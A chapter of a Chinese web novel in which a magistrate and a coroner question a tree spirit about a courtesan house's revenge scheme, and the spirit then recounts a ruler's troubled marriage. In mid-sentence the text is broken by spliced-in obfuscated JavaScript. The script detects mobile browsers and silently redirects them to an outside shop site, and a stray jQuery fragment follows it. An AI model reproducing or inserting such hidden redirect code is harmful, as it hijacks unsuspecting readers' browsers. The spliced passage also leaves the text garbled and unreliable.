原来道,那雪鬓娘自接管这十里楼以来,安抚各位娘子,或是安置去处,或是在楼内依据她们喜好,凭其自身所愿。
扬清歌,旋妙舞,唱尽天下事。
填新词,调旧曲,写尽心中愿。
本是一派此时情绪此时天,无事小神仙之闲。
奈何总有宵小,惹人清静。
雪鬓娘已是力不从心,精力支持不下来,这朝廷内也并未有专门管辖的官吏,几次报与,均以无凭无据打回。
那些个宵小慎法,不敢胡行,专拣穿针孔处,对各位娘子暗里不甚尊重。
众人气恼忿恨,又无凭据,既无打骂,那些个宵小又专门卖弄文藻,令看者也纠错不得。
蝉鬓娘暗中撞见雪鬓娘忧心之态,加之瞧见那册子之后,不免心中暗下决断。
蝉鬓娘居半寸台,院中多木,她瞧见过那册子,心中暗记有一木精,名唤“木脱”,故费心寻觅。
也不知使了什么法子,哄得那木精为她所用。
方有了后来之事,她不开口之缘由,便是叫那些个宵小放松警惕,好肆无忌惮吐露荒谬之言,她暗中以“木脱”惑之,令他们自行写下自身弱处把柄。
自此那些宵小不敢再来,否则她便要“木脱”假扮雪鬓娘,威严吓之。
只是这“木脱”本性难移,前台主之鉴根深蒂固,时日一长,心思蠢蠢欲动,不料正被郑崔二人撞见。
也不怪“木脱”该着倒霉,费心炼出那一身两声的木偶,引诱几人分开,二人正巧来访,直直戳破这场戏。
郑昭静立良久,问道:“蝉鬓娘手臂上那些伤痕……”
木脱道:“是那些人的把柄,她无法录于纸上,否则一经查出,会累及十里楼上下,故不知从何寻了这一方文字,刻于其臂,众人不知,故以为是她自伤也。”
郑昭叹气道:“原道是这样。”
她望向崔湘之道:“明日召那蝉鬓娘前来作录,你可认得出那些是什么?”
崔湘之讪讪道:“小人只识得一二,只晓得大致笔划,实在无力。”
郑昭叹罢,看向木脱道:“你先来作录,方才所述,一一写来。”
木脱大叫:“为何道来,岂不要判我之罪!我可并未伤人,只是恐吓!!”
“恐吓也不行,律法之中,若有冤,该合律合规求助,官员不理,那是官员失职之事,可问责可投诉,不可私自用刑,不可私自恐吓威胁,否国法何在。”
郑昭认真述道。
木脱蔫蔫,问道:“那……我等有何处罚……”
郑昭道:“你乃精怪,虽未伤人,但前案在身,且再身负一案,助纣为虐,虽不致性命,但且留于天问司,替我办事,戴罪立功。”
“那蝉鬓娘……明日再道。”
木脱在那纸上挥挥洒洒写下,以枝沾墨,作自身印,纸上一墨轮矣。
崔湘之看罢良久,问道:“你乃木精,此为你同类,你可视若无睹?”
木脱傲道:“我乃精怪,此乃死物,虽出一门,然分道扬镳,不复同类矣。天差地别,何须在意。”
崔湘之嘴角微抽,笑道:“原是如此。”
郑昭无言,只觉似曾相识。
她脑中之物幽幽道:【宿主大人莫不是在说我吧……】
郑昭心中暗道:“怎会。你比它瞧着令人欢喜多了,我绝无此意。”
若还道:【那就好。】
郑昭望着烛火,烛心颤颤,无言叹息。
崔湘之见郑昭望着烛火愣神,似面色苍白,切切问道:“大人可是不适?”
郑昭回神,摇头道:“并无。”
崔湘之再问:“果真?”
郑昭回道:“并未不适,崔仵作多虑。”
二人对视良久,崔湘之败下阵来,闷道:“大人说什么便是什么。”
说罢便带着那木精自行告退。
郑昭不知他又何缘由生气,只当他气那些宵小所为,坐于案后查看,如何改惩那些宵小,并制定良规新例。
一想到又要呈于上头,只呵呵两声。
提笔又放下,问道:“你晓得他刚才为何生气吗?”
若还愣愣:【生气了?没瞧出来啊…?】
郑昭扶额,“罢了罢了。”
话说这一大一小,成了两截木杆子,崔湘之那,更是众人皆醉我独醒之窘态。
崔湘之希冀从旁人处得之片刻的安慰,道是不指望那冷物了,于是便把目光投向木脱。
木脱:“……”
木脱:“瞧我做甚,我已画押,快携我去休息。”
崔湘之道:“你没瞧出来吗?”
木脱:“瞧出来什么,那女人凶巴巴的,似阎王再世,有甚好瞧。”
崔湘之正欲再说些什么,木脱又道:“况只你一人关心即可,又拉上旁人做甚?你们自个的问题,当局者迷,旁观者清,旁人说了再多又有何用。”
崔湘之被噎得说不出话来,闷闷鼓嘴道:“现在口舌倒是捋直了,被她怼骂之时怎不枝叶捋直些?”
他郁郁道:“就只知欺负我一人罢了。”
木脱见他这幅模样,很是恨铁不成钢。
它道:“你们人类心思七窍百转,男子甚犹之,较之女子,有过之而无不及,尤其在这感情之事上。”
崔湘之怔道:“此话怎讲?”
木脱立起头顶之叶,气昂昂道:“那些个男子,我最是见了不少,嘴上说着许诺,心里想着利弊,口里冒出的尽是甜言,做的又是那剜人心肠之事,逼得人家伤心分离,犹要做出一番惺惺之态。实谓可笑。”
崔湘之轻笑:“活脱有无情人负心于你一般。”
木脱道:“我虽草木,毕竟有灵,见多识广。”
它顿了一会又道:“那前台主予我灵宝,却让我做尽恶事,恍然时,他已然归天下黄泉,我也不知该谢他允我生于天地间,还是该恨他让我成了手沾罪孽的精怪。”
“一字之异,天差地别。”
它道:“如果知遇之恩算他给予我的情,但便也算是一场辜负。他负了我,我不负他。”
崔湘之道:“那你为何选了那蝉鬓娘为第二主
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17943995|214022||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,她给予你什么?”
木脱道:“并无好处。但她给予我洗脱罪孽的机会,我惧怕再不得人信任,只能终生活在那方寸之地,倒不如继续做一棵无灵无名的树,或许还看得见天地。”
“但她允我重活人间,允我自由,已是一番信任,我又怎会辜负她。”
“她道,愿众人万物皆可活于天地间,再不得其缚,不必困于任何。”
崔湘之沉思道:“方知如此,受益颇多。”
木脱道:“若有误会,何不说清,你可听过当今君上之夫自闭于庭?”
崔湘之好奇问道:“听过,但不知缘由。”
木脱缓缓道:“当年我跟着那台主作威作福之际,得幸于宫内一观,当今君上与其夫亦在堂上。”
崔湘之道:“当时何况?二人与对方相处不甚欢喜?”
木脱道:“今人看来是这样,但实并非如此。当今君上虽被道嫁与其夫,迫不得已,但传闻是她有求于庭前,自言非他不嫁,众人始料未及,上一任君上倒喜闻乐见。”
“那人也愿意?”
“他虽始料未及,想必也有几分情意,更何况是君上赐婚,自以为得遇良缘。不料婚后,当今君上诞下长子后,便逐渐疏远他,或推他入她人怀抱或借口教儿,不与之亲近。”
“上一任君上常往各子臣家中送些娘子,她也一并收下,若她们不愿,便留在府中自有其用,若她们愿意,便派往其夫身边。”
“其夫闻言愕然,随后伤心大怒。得知受她利用,并无真情,更是痛恨,二人关系如履薄冰。”
崔湘之道:“此事你如何得知,他人寝卧之事。”
木脱道:“我皆万物,万物皆我。她二人窗外之桃树,看得分明。”
崔湘之道:“如此,请继续。”
木脱接着道:“二人有此隔阂,在外人眼中,当今君上便是不得夫心之人,看在其有一子上,并不光明正大,而是暗地刁难讽刺。”
“那人无意中见妻被人刁难,面上不显,背后却告于殿前,自述妻于他,孩儿生母,不容他人毁名。自此才道,甚么“步步艰辛”、“尚且有用”俱是他人猜测。”
“后当今君上登帝位,其夫亦面无表情,既不惶恐,也不得意。二人淡淡,当今君上从未解释过,他亦不愿再听。”
“自言‘听或不听,有何干系,索性她已得到了想要的一切。’,自此自闭于庭,终不得出。从此众人皆不敢于君上面前提及姓名。”
“有一女官尝提后嗣,虽有子,但非女,请她再择君侧。君上并无发怒,只默然接来那些被“幽禁”在外的公主,册为储君,以平众论。”
崔湘之问道:“二人再不得相见?”
木脱毫不在意道:“君上有心缓和关系,但那人始终不开心房,每日只远远见二人之子,也不上前,君上来,他便走,总之从未共处一室。”
崔湘之沉思道:“我倒觉得那人其实有心,但奈何不敢。”
木脱不懂其弯弯绕绕,问道:“为何?”
崔湘之只一笑,急得那木精蹦跳不止。